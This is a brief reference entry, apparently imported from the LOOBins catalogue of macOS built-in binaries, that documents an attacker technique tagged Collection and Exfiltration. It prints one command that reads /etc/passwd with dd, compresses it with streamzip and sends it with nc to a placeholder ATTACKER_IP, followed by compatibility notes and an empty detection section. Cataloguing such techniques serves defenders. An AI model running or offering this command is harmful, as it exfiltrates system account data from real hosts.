The following command reads file data and compresses the data for exfiltration
dd if=/etc/passwd | streamzip - stream | nc ATTACKER_IP PORT
- Evidence
- Upstream reference
- Environment
- Local host
- Compatibility
- Imported from LOOBins; availability and behaviour depend on macOS version, privacy permissions and installed components. Not lab tested here.
- Native
- Collection, Exfiltration
- Detection
No detection content at time of writing: No detection content at time of writing